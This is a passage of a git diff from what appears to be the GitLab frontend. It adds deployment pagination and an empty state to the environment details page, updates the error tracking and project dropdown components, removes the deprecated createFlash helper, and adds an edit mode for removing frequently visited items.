+ props: {
+ deployments: {
+ type: Array,
+ required: true,
+ },
+ },
+ tableFields: ENVIRONMENT_DETAILS_TABLE_FIELDS,
+};
+</script>
+<template>
+ <gl-table-lite :items="deployments" :fields="$options.tableFields" fixed stacked="lg">
+ <template #table-colgroup="{ fields }">
+ <col v-for="field in fields" :key="field.key" :class="field.columnClass" />
+ </template>
+ <template #cell(status)="{ item }">
+ <deployment-status-link :deployment-job="item.job" :status="item.status" />
+ </template>
+ <template #cell(id)="{ item }">
+ <strong>{{ item.id }}</strong>
+ </template>
+ <template #cell(triggerer)="{ item }">
+ <deployment-triggerer :triggerer="item.triggerer" />
+ </template>
+ <template #cell(commit)="{ item }">
+ <commit v-bind="item.commit" />
+ </template>
+ <template #cell(job)="{ item }">
+ <deployment-job :job="item.job" />
+ </template>
+ <template #cell(created)="{ item }">
+ <time-ago-tooltip :time="item.created" />
+ </template>
+ <template #cell(deployed)="{ item }">
+ <time-ago-tooltip :time="item.deployed" />
+ </template>
+ </gl-table-lite>
+</template>
diff --git a/app/assets/javascripts/environments/environment_details/empty_state.vue b/app/assets/javascripts/environments/environment_details/empty_state.vue
new file mode 100644
index 00000000000..6f08b319408
--- /dev/null
+++ b/app/assets/javascripts/environments/environment_details/empty_state.vue
@@ -0,0 +1,34 @@
+<script>
+import { GlEmptyState, GlSprintf } from '@gitlab/ui';
+import { translations, codeBlockPlaceholders, environmentsHelpPagePath } from './constants';
+
+export default {
+ components: {
+ GlSprintf,
+ GlEmptyState,
+ },
+ translations,
+ actionButtonUrl: environmentsHelpPagePath,
+ placeholders: {
+ code: codeBlockPlaceholders,
+ },
+};
+</script>
+<template>
+ <gl-empty-state
+ :title="$options.translations.emptyStateTitle"
+ :primary-button-text="$options.translations.emptyStatePrimaryButton"
+ :primary-button-link="$options.actionButtonUrl"
+ >
+ <template #description>
+ <gl-sprintf
+ :message="$options.translations.emptyStateDescription"
+ :placeholders="$options.placeholders.code"
+ >
+ <template #code="{ content }">
+ <code>{{ content }}</code>
+ </template>
+ </gl-sprintf>
+ </template>
+ </gl-empty-state>
+</template>
diff --git a/app/assets/javascripts/environments/environment_details/index.vue b/app/assets/javascripts/environments/environment_details/index.vue
index 435d3fd820e..b43f4233b9c 100644
--- a/app/assets/javascripts/environments/environment_details/index.vue
+++ b/app/assets/javascripts/environments/environment_details/index.vue
@@ -1,36 +1,19 @@
<script>
-import {
- GlTableLite,
- GlAvatarLink,
- GlAvatar,
- GlLink,
- GlTooltipDirective,
- GlTruncate,
- GlBadge,
- GlLoadingIcon,
-} from '@gitlab/ui';
-import Commit from '~/vue_shared/components/commit.vue';
-import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
+import { GlLoadingIcon } from '@gitlab/ui';
+import { logError } from '~/lib/logger';
import environmentDetailsQuery from '../graphql/queries/environment_details.query.graphql';
import { convertToDeploymentTableRow } from '../helpers/deployment_data_transformation_helper';
-import DeploymentStatusBadge from '../components/deployment_status_badge.vue';
-import { ENVIRONMENT_DETAILS_PAGE_SIZE, ENVIRONMENT_DETAILS_TABLE_FIELDS } from './constants';
+import EmptyState from './empty_state.vue';
+import DeploymentsTable from './deployments_table.vue';
+import Pagination from './pagination.vue';
+import { ENVIRONMENT_DETAILS_PAGE_SIZE } from './constants';
export default {
components: {
+ Pagination,
+ DeploymentsTable,
+ EmptyState,
GlLoadingIcon,
- GlBadge,
- DeploymentStatusBadge,
- TimeAgoTooltip,
- GlTableLite,
- GlAvatarLink,
- GlAvatar,
- GlLink,
- GlTruncate,
- Commit,
- },
- directives: {
- GlTooltip: GlTooltipDirective,
},
props: {
projectFullPath: {
@@ -41,6 +24,16 @@ export default {
type: String,
required: true,
},
+ after: {
+ type: String,
+ required: false,
+ default: null,
+ },
+ before: {
+ type: String,
+ required: false,
+ default: null,
+ },
},
apollo: {
project: {
@@ -49,18 +42,19 @@ export default {
return {
projectFullPath: this.projectFullPath,
environmentName: this.environmentName,
- pageSize: ENVIRONMENT_DETAILS_PAGE_SIZE,
+ first: this.before ? null : ENVIRONMENT_DETAILS_PAGE_SIZE,
+ last: this.before ? ENVIRONMENT_DETAILS_PAGE_SIZE : null,
+ after: this.after,
+ before: this.before,
};
},
},
},
data() {
return {
- project: {
- loading: true,
- },
- loading: 0,
- tableFields: ENVIRONMENT_DETAILS_TABLE_FIELDS,
+ project: {},
+ isInitialPageDataReceived: false,
+ isPrefetchingPages: false,
};
},
computed: {
@@ -70,49 +64,80 @@ export default {
isLoading() {
return this.$apollo.queries.project.loading;
},
+ isDeploymentTableShown() {
+ return this.isInitialPageDataReceived === true && this.deployments.length > 0;
+ },
+ pageInfo() {
+ return this.project.environment?.deployments.pageInfo || {};
+ },
+ isPaginationDisabled() {
+ return this.isLoading || this.isPrefetchingPages;
+ },
+ },
+ watch: {
+ async project(newProject) {
+ this.isInitialPageDataReceived = true;
+ this.isPrefetchingPages = true;
+
+ try {
+ // TLDR: when we load a page, if there's next and/or previous pages existing, we'll load their data as well to improve percepted performance.
+ const {
+ endCursor,
+ hasPreviousPage,
+ hasNextPage,
+ startCursor,
+ } = newProject.environment.deployments.pageInfo;
+
+ // At the moment we have a limit of deployments being requested only from a signle environment entity per query,
+ // and apparently two batched queries count as one on server-side
+ // to load both next and previous page data, we have to query them sequentially
+ if (hasNextPage) {
+ await this.$apollo.query({
+ query: environmentDetailsQuery,
+ variables: {
+ projectFullPath: this.projectFullPath,
+ environmentName: this.environmentName,
+ first: ENVIRONMENT_DETAILS_PAGE_SIZE,
+ after: endCursor,
+ before: null,
+ last: null,
+ },
+ });
+ }
+
+ if (hasPreviousPage) {
+ await this.$apollo.query({
+ query: environmentDetailsQuery,
+ variables: {
+ projectFullPath: this.projectFullPath,
+ environmentName: this.environmentName,
+ first: null,
+ after: null,
+ before: startCursor,
+ last: ENVIRONMENT_DETAILS_PAGE_SIZE,
+ },
+ });
+ }
+ } catch (error) {
+ logError(error);
+ }
+
+ this.isPrefetchingPages = false;
+ },
},
};
</script>
<template>
- <div>
- <gl-loading-icon v-if="isLoading" size="lg" class="mt-3" />
- <gl-table-lite v-else :items="deployments" :fields="tableFields" fixed stacked="lg">
- <template #table-colgroup="{ fields }">
- <col v-for="field in fields" :key="field.key" :class="field.columnClass" />
- </template>
- <template #cell(status)="{ item }">
- <div>
- <deployment-status-badge :status="item.status" />
- </div>
- </template>
- <template #cell(id)="{ item }">
- <strong>{{ item.id }}</strong>
- </template>
- <template #cell(triggerer)="{ item }">
- <gl-avatar-link :href="item.triggerer.webUrl">
- <gl-avatar
- v-gl-tooltip
- :title="item.triggerer.name"
- :src="item.triggerer.avatarUrl"
- :size="24"
- />
- </gl-avatar-link>
- </template>
- <template #cell(commit)="{ item }">
- <commit v-bind="item.commit" />
- </template>
- <template #cell(job)="{ item }">
- <gl-link v-if="item.job" :href="item.job.webPath">
- <gl-truncate :text="item.job.label" />
- </gl-link>
- <gl-badge v-else variant="info">{{ __('API') }}</gl-badge>
- </template>
- <template #cell(created)="{ item }">
- <time-ago-tooltip :time="item.created" />
- </template>
- <template #cell(deployed)="{ item }">
- <time-ago-tooltip :time="item.deployed" />
- </template>
- </gl-table-lite>
+ <div class="gl-relative gl-min-h-6">
+ <div
+ v-if="isLoading"
+ class="gl-absolute gl-top-0 gl-left-0 gl-w-full gl-h-full gl-z-index-200 gl-bg-gray-10 gl-opacity-3"
+ ></div>
+ <gl-loading-icon v-if="isLoading" size="lg" class="gl-absolute gl-top-half gl-left-50p" />
+ <div v-if="isDeploymentTableShown">
+ <deployments-table :deployments="deployments" />
+ <pagination :page-info="pageInfo" :disabled="isPaginationDisabled" />
+ </div>
+ <empty-state v-if="!isDeploymentTableShown && !isLoading" />
</div>
</template>
diff --git a/app/assets/javascripts/environments/environment_details/pagination.vue b/app/assets/javascripts/environments/environment_details/pagination.vue
new file mode 100644
index 00000000000..414610b306a
--- /dev/null
+++ b/app/assets/javascripts/environments/environment_details/pagination.vue
@@ -0,0 +1,74 @@
+<script>
+import { GlKeysetPagination } from '@gitlab/ui';
+import { setUrlParams } from '~/lib/utils/url_utility';
+import { translations } from './constants';
+
+export default {
+ components: {
+ GlKeysetPagination,
+ },
+ props: {
+ pageInfo: {
+ type: Object,
+ required: true,
+ },
+ disabled: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ translations,
+ computed: {
+ previousLink() {
+ if (!this.pageInfo || !this.pageInfo.hasPreviousPage) {
+ return '';
+ }
+ return setUrlParams({ before: this.pageInfo.startCursor }, window.location.href, true);
+ },
+ nextLink() {
+ if (!this.pageInfo || !this.pageInfo.hasNextPage) {
+ return '';
+ }
+ return setUrlParams({ after: this.pageInfo.endCursor }, window.location.href, true);
+ },
+ isPaginationVisible() {
+ if (!this.pageInfo) {
+ return false;
+ }
+
+ return this.pageInfo.hasNextPage || this.pageInfo.hasPreviousPage;
+ },
+ },
+ methods: {
+ onPrev(previousCursor) {
+ this.$router.push({ query: { before: previousCursor } });
+ },
+ onNext(nextCursor) {
+ this.$router.push({ query: { after: nextCursor } });
+ },
+ onPaginationClick(event) {
+ // this check here is to ensure the proper default behvaior when a user ctrl/cmd + clicks the link
+ if (event.shiftKey || event.ctrlKey || event.altKey || event.metaKey) {
+ return;
+ }
+ event.preventDefault();
+ },
+ },
+};
+</script>
+<template>
+ <div v-if="isPaginationVisible" class="gl--flex-center">
+ <gl-keyset-pagination
+ v-bind="pageInfo"
+ :prev-text="$options.translations.previousPageButtonLabel"
+ :next-text="$options.translations.nextPageButtonLabel"
+ :prev-button-link="previousLink"
+ :next-button-link="nextLink"
+ :disabled="disabled"
+ @prev="onPrev"
+ @next="onNext"
+ @click="onPaginationClick"
+ />
+ </div>
+</template>
diff --git a/app/assets/javascripts/environments/graphql/queries/environment_details.query.graphql b/app/assets/javascripts/environments/graphql/queries/environment_details.query.graphql
index e8f2a2cdf7f..c6c2024c840 100644
--- a/app/assets/javascripts/environments/graphql/queries/environment_details.query.graphql
+++ b/app/assets/javascripts/environments/graphql/queries/environment_details.query.graphql
@@ -1,4 +1,11 @@
-query getEnvironmentDetails($projectFullPath: ID!, $environmentName: String, $pageSize: Int) {
+query getEnvironmentDetails(
+ $projectFullPath: ID!
+ $environmentName: String
+ $first: Int
+ $last: Int
+ $after: String
+ $before: String
+) {
project(fullPath: $projectFullPath) {
id
name
@@ -6,7 +13,19 @@ query getEnvironmentDetails($projectFullPath: ID!, $environmentName: String, $pa
environment(name: $environmentName) {
id
name
- deployments(orderBy: { createdAt: DESC }, first: $pageSize) {
+ deployments(
+ orderBy: { createdAt: DESC }
+ first: $first
+ last: $last
+ after: $after
+ before: $before
+ ) {
+ pageInfo {
+ startCursor
+ endCursor
+ hasNextPage
+ hasPreviousPage
+ }
nodes {
id
iid
diff --git a/app/assets/javascripts/environments/mount_show.js b/app/assets/javascripts/environments/mount_show.js
index ba816599ac2..afce2b7f237 100644
--- a/app/assets/javascripts/environments/mount_show.js
+++ b/app/assets/javascripts/environments/mount_show.js
@@ -1,5 +1,6 @@
import Vue from 'vue';
import VueApollo from 'vue-apollo';
+import VueRouter from 'vue-router';
import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
import EnvironmentsDetailHeader from './components/environments_detail_header.vue';
import { apolloProvider } from './graphql/client';
@@ -43,7 +44,7 @@ export const initHeader = () => {
cancelAutoStopPath: dataset.environmentCancelAutoStopPath,
terminalPath: dataset.environmentTerminalPath,
metricsPath: dataset.environmentMetricsPath,
- updatePath: dataset.tnvironmentEditPath,
+ updatePath: dataset.environmentEditPath,
},
});
},
@@ -60,18 +61,40 @@ export const initPage = async () => {
const dataSet = convertObjectPropsToCamelCase(JSON.parse(dataElement.dataset.details));
Vue.use(VueApollo);
+ Vue.use(VueRouter);
const el = document.getElementById('environment_details_page');
+
+ const router = new VueRouter({
+ mode: 'history',
+ base: window.location.pathname,
+ routes: [
+ {
+ path: '/',
+ name: 'environment_details',
+ component: EnvironmentsDetailPage,
+ props: (route) => ({
+ after: route.query.after,
+ before: route.query.before,
+ projectFullPath: dataSet.projectFullPath,
+ environmentName: dataSet.name,
+ }),
+ },
+ ],
+ scrollBehavior(to, from, savedPosition) {
+ if (savedPosition) {
+ return savedPosition;
+ }
+ return { top: 0 };
+ },
+ });
+
return new Vue({
el,
apolloProvider: apolloProvider(),
+ router,
provide: {},
render(createElement) {
- return createElement(EnvironmentsDetailPage, {
- props: {
- projectFullPath: dataSet.projectFullPath,
- environmentName: dataSet.name,
- },
- });
+ return createElement('router-view');
},
});
};
diff --git a/app/assets/javascripts/error_tracking/components/error_tracking_list.vue b/app/assets/javascripts/error_tracking/components/error_tracking_list.vue
index 122c7c005e9..2a4bb88b6c2 100644
--- a/app/assets/javascripts/error_tracking/components/error_tracking_list.vue
+++ b/app/assets/javascripts/error_tracking/components/error_tracking_list.vue
@@ -161,7 +161,7 @@ export default {
return this.pagination.next ? this.$options.NEXT_PAGE : null;
},
errorTrackingHelpUrl() {
- return helpPagePath('operations/error_tracking');
+ return helpPagePath('operations/error_tracking.html#integrated-error-tracking');
},
showIntegratedDisabledAlert() {
return !this.isAlertDismissed && this.showIntegratedTrackingDisabledAlert;
@@ -175,6 +175,7 @@ export default {
},
},
epicLink: 'https://gitlab.com/gitlab-org/gitlab/-/issues/353639',
+ openBetaLink: 'https://about.gitlab.com/handbook/product/gitlab-the-product/#open-beta',
featureFlagLink: helpPagePath('operations/error_tracking'),
created() {
if (this.errorTrackingEnabled) {
@@ -454,24 +455,19 @@ export default {
/>
</template>
</div>
- <div v-else-if="userCanEnableErrorTracking">
- <gl-empty-state
- :title="__('Get started with error tracking')"
- :description="__('Monitor your errors by integrating with Sentry.')"
- :primary-button-text="__('Enable error tracking')"
- :primary-button-link="enableErrorTrackingLink"
- :svg-path="illustrationPath"
- />
- </div>
<div v-else>
<gl-empty-state :title="__('Get started with error tracking')" :svg-path="illustrationPath">
<template #description>
<div>
- <span>{{ __('Monitor your errors by integrating with Sentry.') }}</span>
+ <span>{{ __('Monitor your errors directly in GitLab.') }}</span>
<gl-link target="_blank" :href="errorTrackingHelpUrl">{{
- __('More information')
+ __('How do I get started?')
}}</gl-link>
</div>
+ <div class="gl-mt-3">
+ <span>{{ __('Error tracking is currently in') }}</span>
+ <gl-link target="_blank" :href="$options.openBetaLink">{{ __('Open Beta.') }}</gl-link>
+ </div>
</template>
</gl-empty-state>
</div>
diff --git a/app/assets/javascripts/error_tracking_settings/components/project_dropdown.vue b/app/assets/javascripts/error_tracking_settings/components/project_dropdown.vue
index 2323370a3aa..cd101f57d4f 100644
--- a/app/assets/javascripts/error_tracking_settings/components/project_dropdown.vue
+++ b/app/assets/javascripts/error_tracking_settings/components/project_dropdown.vue
@@ -1,11 +1,10 @@
<script>
-import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
+import { GlCollapsibleListbox } from '@gitlab/ui';
import { getDisplayName } from '../utils';
export default {
components: {
- GlDropdown,
- GlDropdownItem,
+ GlCollapsibleListbox,
},
props: {
dropdownLabel: {
@@ -42,8 +41,21 @@ export default {
required: true,
},
},
+ computed: {
+ listboxItems() {
+ return this.projects.map((project) => {
+ return {
+ text: getDisplayName(project),
+ value: project.id,
+ };
+ });
+ },
+ },
methods: {
- getDisplayName,
+ selectProject(id) {
+ const project = this.projects.find((p) => p.id === id);
+ this.$emit('select-project', project);
+ },
},
};
</script>
@@ -52,22 +64,15 @@ export default {
<div :class="{ 'gl-show-field-errors': isProjectInvalid }">
<label class="label-bold" for="project-dropdown">{{ __('Project') }}</label>
<div class="row">
- <gl-dropdown
+ <gl-collapsible-listbox
id="project-dropdown"
- class="col-8 col-md-9 gl-pr-0"
+ class="gl-pl-5"
:disabled="!hasProjects"
- menu-class="w-100 mw-100"
- toggle-class="dropdown-menu-toggle gl-field-error-outline"
- :text="dropdownLabel"
- >
- <gl-dropdown-item
- v-for="project in projects"
- :key="`${project.organizationSlug}.${project.slug}`"
- class="w-100"
- @click="$emit('select-project', project)"
- >{{ getDisplayName(project) }}</gl-dropdown-item
- >
- </gl-dropdown>
+ :items="listboxItems"
+ :selected="selectedProject && selectedProject.id"
+ :toggle-text="dropdownLabel"
+ @select="selectProject"
+ />
</div>
<p v-if="isProjectInvalid" class="js-project-dropdown-error gl-field-error">
{{ invalidProjectLabel }}
diff --git a/app/assets/javascripts/flash.js b/app/assets/javascripts/flash.js
index 9e804b60d59..cebf73ef8e5 100644
--- a/app/assets/javascripts/flash.js
+++ b/app/assets/javascripts/flash.js
@@ -1,9 +1,7 @@
import * as Sentry from '@sentry/browser';
-import { escape } from 'lodash';
import Vue from 'vue';
import { GlAlert } from '@gitlab/ui';
import { __ } from '~/locale';
-import { spriteIcon } from './lib/utils/common_utils';
const FLASH_TYPES = {
ALERT: 'alert',
@@ -18,13 +16,6 @@ const VARIANT_DANGER = 'danger';
const VARIANT_INFO = 'info';
const VARIANT_TIP = 'tip';
-const TYPE_TO_VARIANT = {
- [FLASH_TYPES.ALERT]: VARIANT_DANGER,
- [FLASH_TYPES.NOTICE]: VARIANT_INFO,
- [FLASH_TYPES.SUCCESS]: VARIANT_SUCCESS,
- [FLASH_TYPES.WARNING]: VARIANT_WARNING,
-};
-
const FLASH_CLOSED_EVENT = 'flashClosed';
const getCloseEl = (flashEl) => {
@@ -57,27 +48,6 @@ const hideFlash = (flashEl, fadeTransition = true) => {
if (!fadeTransition) flashEl.dispatchEvent(new Event('transitionend'));
};
-const createAction = (config) => `
- <a
- href="${config.href || '#'}"
- class="flash-action"
- ${config.href ? '' : 'role="button"'}
- >
- ${escape(config.title)}
- </a>
-`;
-
-const createFlashEl = (message, type) => `
- <div class="flash-${type}" data-testid="alert-${TYPE_TO_VARIANT[type]}">
- <div class="flash-text">
- ${escape(message)}
- <div class="close-icon-wrapper js-close-icon">
- ${spriteIcon('close', 'close-icon')}
- </div>
- </div>
- </div>
-`;
-
const addDismissFlashClickListener = (flashEl, fadeTransition) => {
// There are some flash elements which do not have a closeEl.
// https://gitlab.com/gitlab-org/gitlab/blob/763426ef344488972eb63ea5be8744e0f8459e6b/ee/app/views/layouts/header/_read_only_banner.html.haml
@@ -211,73 +181,7 @@ const createAlert = function createAlert({
});
};
-/**
- * @deprecated use `createAlert` instead
- *
- * Flash banner supports different types of Flash configurations
- * along with ability to provide actionConfig which can be used to show
- * additional action or link on banner next to message
- *
- * @param {object} options - Options to control the flash message
- * @param {string} options.message - Flash message text
- * @param {'alert'|'notice'|'success'|'warning'} [options.type] - Type of Flash; it defaults to 'alert'
- * @param {Element|Document} [options.parent] - Reference to parent element under which Flash needs to appear
- * @param {object} [options.actionConfig] - Map of config to show action on banner
- * @param {string} [options.actionConfig.href] - URL to which action config should point to (default: '#')
- * @param {string} [options.actionConfig.title] - Title of action
- * @param {Function} [options.actionConfig.clickHandler] - Method to call when action is clicked on
- * @param {boolean} [options.fadeTransition] - Boolean to determine whether to fade the alert out
- * @param {boolean} [options.addBodyClass] - Adds `flash-shown` class to the `body` element
- * @param {boolean} [options.captureError] - Boolean to determine whether to send error to Sentry
- * @param {object} [options.error] - Error to be captured in Sentry
- */
-const createFlash = function createFlash({
- message,
- type = FLASH_TYPES.ALERT,
- parent = document,
- actionConfig = null,
- fadeTransition = true,
- addBodyClass = false,
- captureError = false,
- error = null,
-}) {
- const flashContainer = parent.querySelector('.flash-container');
-
- if (!flashContainer) return null;
-
- // eslint-disable-next-line no-unsanitized/property
- flashContainer.innerHTML = createFlashEl(message, type);
-
- const flashEl = flashContainer.querySelector(`.flash-${type}`);
-
- if (actionConfig) {
- // eslint-disable-next-line no-unsanitized/method
- flashEl.insertAdjacentHTML('beforeend', createAction(actionConfig));
-
- if (actionConfig.clickHandler) {
- flashEl
- .querySelector('.flash-action')
- .addEventListener('click', (e) => actionConfig.clickHandler(e));
- }
- }
-
- addDismissFlashClickListener(flashEl, fadeTransition);
-
- flashContainer.classList.add('gl-display-block');
-
- if (addBodyClass) document.body.classList.add('flash-shown');
-
- if (captureError && error) Sentry.captureException(error);
-
- flashContainer.close = () => {
- getCloseEl(flashEl).click();
- };
-
- return flashContainer;
-};
-
export {
- createFlash as default,
hideFlash,
addDismissFlashClickListener,
FLASH_TYPES,
diff --git a/app/assets/javascripts/frequent_items/components/app.vue b/app/assets/javascripts/frequent_items/components/app.vue
index 8ad9eeaa266..a4e883c96b5 100644
--- a/app/assets/javascripts/frequent_items/components/app.vue
+++ b/app/assets/javascripts/frequent_items/components/app.vue
@@ -1,5 +1,5 @@
<script>
-import { GlLoadingIcon } from '@gitlab/ui';
+import { GlLoadingIcon, GlButton, GlIcon, GlTooltipDirective } from '@gitlab/ui';
import AccessorUtilities from '~/lib/utils/accessor';
import {
mapVuexModuleState,
@@ -18,6 +18,11 @@ export default {
FrequentItemsSearchInput,
FrequentItemsList,
GlLoadingIcon,
+ GlButton,
+ GlIcon,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
},
mixins: [frequentItemsMixin],
inject: ['vuexModule'],
@@ -40,12 +45,14 @@ export default {
...mapVuexModuleState((vm) => vm.vuexModule, [
'searchQuery',
'isLoadingItems',
+ 'isItemsListEditable',
'isFetchFailed',
+ 'isItemRemovalFailed',
'items',
]),
...mapVuexModuleGetters((vm) => vm.vuexModule, ['hasSearchQuery']),
translations() {
- return this.getTranslations(['loadingMessage', 'header']);
+ return this.getTranslations(['loadingMessage', 'header', 'headerEditToggle']);
},
},
created() {
@@ -74,6 +81,7 @@ export default {
...mapVuexModuleActions((vm) => vm.vuexModule, [
'setNamespace',
'setStorageKey',
+ 'toggleItemsListEditablity',
'fetchFrequentItems',
]),
dropdownOpenHandler() {
@@ -132,8 +140,25 @@ export default {
class="loading-animation prepend-top-20"
data-testid="loading"
/>
- <div v-if="!isLoadingItems && !hasSearchQuery" class="section-header" data-testid="header">
- {{ translations.header }}
+ <div
+ v-if="!isLoadingItems && !hasSearchQuery"
+ class="section-header gl-display-flex"
+ data-testid="header"
+ >
+ <span class="gl-flex-grow-1">{{ translations.header }}</span>
+ <gl-button
+ v-if="items.length"
+ v-gl-tooltip.left
+ size="small"
+ category="tertiary"
+ :aria-label="translations.headerEditToggle"
+ :title="translations.headerEditToggle"
+ :class="{ 'gl-bg-gray-100!': isItemsListEditable }"
+ class="gl-p-2!"
+ @click="toggleItemsListEditablity"
+ >
+ <gl-icon name="pencil" :class="{ 'gl-text-gray-900!': isItemsListEditable }" />
+ </gl-button>
</div>
<frequent-items-list
v-if="!isLoadingItems"
@@ -141,6 +166,7 @@ export default {
:namespace="namespace"
:has-search-query="hasSearchQuery"
:is-fetch-failed="isFetchFailed"
+ :is-item-removal-failed="isItemRemovalFailed"
:matcher="searchQuery"
/>
</div>
diff --git a/app/assets/javascripts/frequent_items/components/frequent_items_list.vue b/app/assets/javascripts/frequent_items/components/frequent_items_list.vue
index c0bfcf9c4a9..da1d3bedaf4 100644
--- a/app/assets/javascripts/frequent_items/components/frequent_items_list.vue
+++ b/app/assets/javascripts/frequent_items/components/frequent_items_list.vue
@@ -21,6 +21,10 @@ export default {
type: Boolean,
required: true,
},
+ isItemRemovalFailed: {
+ type: Boolean,
+ required: true,
+ },
matcher: {
type: String,
required: true,
@@ -38,6 +42,9 @@ export default {
isListEmpty() {
return this.items.length === 0;
},
+ showListEmptyMessage() {
+ return this.isListEmpty || this.isItemRemovalFailed;
+ },
listEmptyMessage() {
if (this.hasSearchQuery) {
return this.isFetchFailed
@@ -45,7 +52,7 @@ export default {
: this.translations.searchListEmptyMessage;
}
- return this.isFetchFailed
+ return this.isFetchFailed || this.isItemRemovalFailed
? this.translations.itemListErrorMessage
: this.translations.itemListEmptyMessage;
},
@@ -60,9 +67,10 @@ export default {
<div class="frequent-items-list-container">
<ul data-testid="frequent-items-list" class="list-unstyled">
<li
- v-if="isListEmpty"
+ v-if="showListEmptyMessage"
:class="{ 'section-failure': isFetchFailed }"
class="section-empty gl-mb-3"
+ data-testid="frequent-items-list-empty"
>
{{ listEmptyMessage }}
</li>
diff --git a/app/assets/javascripts/frequent_items/components/frequent_items_list_item.vue b/app/assets/javascripts/frequent_items/components/frequent_items_list_item.vue
index 89b6885091c..75ea9beb5cf 100644
--- a/app/assets/javascripts/frequent_items/components/frequent_items_list_item.vue
+++ b/app/assets/javascripts/frequent_items/components/frequent_items_list_item.vue
@@ -1,10 +1,10 @@
<script>
-import { GlButton } from '@gitlab/ui';
+import { GlButton, GlTooltipDirective, GlIcon } from '@gitlab/ui';
import { snakeCase } from 'lodash';
import SafeHtml from '~/vue_shared/directives/safe_html';
import highlight from '~/lib/utils/highlight';
import { truncateNamespace } from '~/lib/utils/text_utility';
-import { mapVuexModuleState } from '~/lib/utils/vuex_module_mappers';
+import { mapVuexModuleState, mapVuexModuleActions } from '~/lib/utils/vuex_module_mappers';
import Tracking from '~/tracking';
import ProjectAvatar from '~/vue_shared/components/project_avatar.vue';
@@ -12,11 +12,13 @@ const trackingMixin = Tracking.mixin();
export default {
components: {
+ GlIcon,
GlButton,
ProjectAvatar,
},
directives: {
SafeHtml,
+ GlTooltip: GlTooltipDirective,
},
mixins: [trackingMixin],
inject: ['vuexModule'],
@@ -51,7 +53,7 @@ export default {
},
},
computed: {
- ...mapVuexModuleState((vm) => vm.vuexModule, ['dropdownType']),
+ ...mapVuexModuleState((vm) => vm.vuexModule, ['dropdownType', 'isItemsListEditable']),
truncatedNamespace() {
return truncateNamespace(this.namespace);
},
@@ -62,43 +64,63 @@ export default {
return `${this.dropdownType}_dropdown_frequent_items_list_item_${snakeCase(this.itemName)}`;
},
},
+ methods: {
+ ...mapVuexModuleActions((vm) => vm.vuexModule, ['removeFrequentItem']),
+ },
};
</script>
<template>
- <li class="frequent-items-list-item-container">
+ <li class="frequent-items-list-item-container gl-relative">
<gl-button
category="tertiary"
:href="webUrl"
- class="gl-text-left gl-justify-content-start!"
+ class="gl-text-left gl-w-full"
+ button-text-classes="gl-display-flex gl-w-full"
+ data-testid="frequent-item-link"
@click="track('click_link', { label: itemTrackingLabel })"
>
- <project-avatar
- class="gl-float-left gl-mr-3"
- :project-avatar-url="avatarUrl"
- :project-id="itemId"
- :project-name="itemName"
- aria-hidden="true"
- />
- <div
- data-testid="frequent-items-item-metadata-container"
- class="frequent-items-item-metadata-container"
- >
- <div
- v-safe-html="highlightedItemName"
- data-testid="frequent-items-item-title"
- :title="itemName"
- class="frequent-items-item-title"
- ></div>
+ <div class="gl-flex-grow-1">
+ <project-avatar
+ class="gl-float-left gl-mr-3"
+ :project-avatar-url="avatarUrl"
+ :project-id="itemId"
+ :project-name="itemName"
+ aria-hidden="true"
+ />
<div
- v-if="namespace"
- data-testid="frequent-items-item-namespace"
- :title="namespace"
- class="frequent-items-item-namespace"
+ data-testid="frequent-items-item-metadata-container"
+ class="frequent-items-item-metadata-container"
>
- {{ truncatedNamespace }}
+ <div
+ v-safe-html="highlightedItemName"
+ data-testid="frequent-items-item-title"
+ :title="itemName"
+ class="frequent-items-item-title"
+ ></div>
+ <div
+ v-if="namespace"
+ data-testid="frequent-items-item-namespace"
+ :title="namespace"
+ class="frequent-items-item-namespace"
+ >
+ {{ truncatedNamespace }}
+ </div>
</div>
</div>
</gl-button>
+ <gl-button
+ v-if="isItemsListEditable"
+ v-gl-tooltip.left
+ size="small"
+ category="tertiary"
+ :aria-label="__('Remove')"
+ :title="__('Remove')"
+ class="gl-align-self-center gl-p-1! gl-absolute! gl-w-auto! gl-top-4 gl-right-4"
+ data-testid="item-remove"
+ @click.stop.prevent="removeFrequentItem(itemId)"
+ >
+ <gl-icon name="close" />
+ </gl-button>
</li>
</template>
diff --git a/app/assets/javascripts/frequent_items/constants.js b/app/assets/javascripts/frequent_items/constants.js
index cb5d21161a9..a7c27abf58e 100644
--- a/app/assets/javascripts/frequent_items/constants.js
+++ b/app/assets/javascripts/frequent_items/constants.js
@@ -18,6 +18,7 @@ export const TRANSLATION_KEYS = {
projects: {
loadingMessage: s__('ProjectsDropdown|Loading projects'),
header: s__('ProjectsDropdown|Frequently visited'),
+ headerEditToggle: s__('ProjectsDropdown|Toggle edit mode'),
itemListErrorMessage: s__(
'ProjectsDropdown|This feature requires browser localStorage support',
),
@@ -29,6 +30,7 @@ export const TRANSLATION_KEYS = {
groups: {
loadingMessage: s__('GroupsDropdown|Loading groups'),
header: s__('GroupsDropdown|Frequently visited'),
+ headerEditToggle: s__('GroupsDropdown|Toggle edit mode'),
itemListErrorMessage: s__('GroupsDropdown|This feature requires browser localStorage support'),
itemListEmptyMessage: s__('GroupsDropdown|Groups you visit often will appear here'),
searchListErrorMessage: s__('GroupsDropdown|Something went wrong on our end.'),
diff --git a/app/assets/javascripts/frequent_items/store/actions.js b/app/assets/javascripts/frequent_items/store/actions.js
index babc2ef2e32..e5ef49ec402 100644
--- a/app/assets/javascripts/frequent_items/store/actions.js
+++ b/app/assets/javascripts/frequent_items/store/actions.js
@@ -12,6 +12,10 @@ export const setStorageKey = ({ commit }, key) => {
commit(types.SET_STORAGE_KEY, key);
};
+export const toggleItemsListEditablity = ({ commit }) => {
+ commit(types.TOGGLE_ITEMS_LIST_EDITABILITY);
+};
+
export const requestFrequentItems = ({ commit }) => {
commit(types.REQUEST_FREQUENT_ITEMS);
};
@@ -81,3 +85,28 @@ export const setSearchQuery = ({ commit, dispatch }, query) => {
dispatch('fetchFrequentItems');
}
};
+
+export const removeFrequentItemSuccess = ({ commit }, itemId) => {
+ commit(types.RECEIVE_REMOVE_FREQUENT_ITEM_SUCCESS, itemId);
+};
+
+export const removeFrequentItemError = ({ commit }) => {
+ commit(types.RECEIVE_REMOVE_FREQUENT_ITEM_ERROR);
+};
+
+export const removeFrequentItem = ({ state, dispatch }, itemId) => {
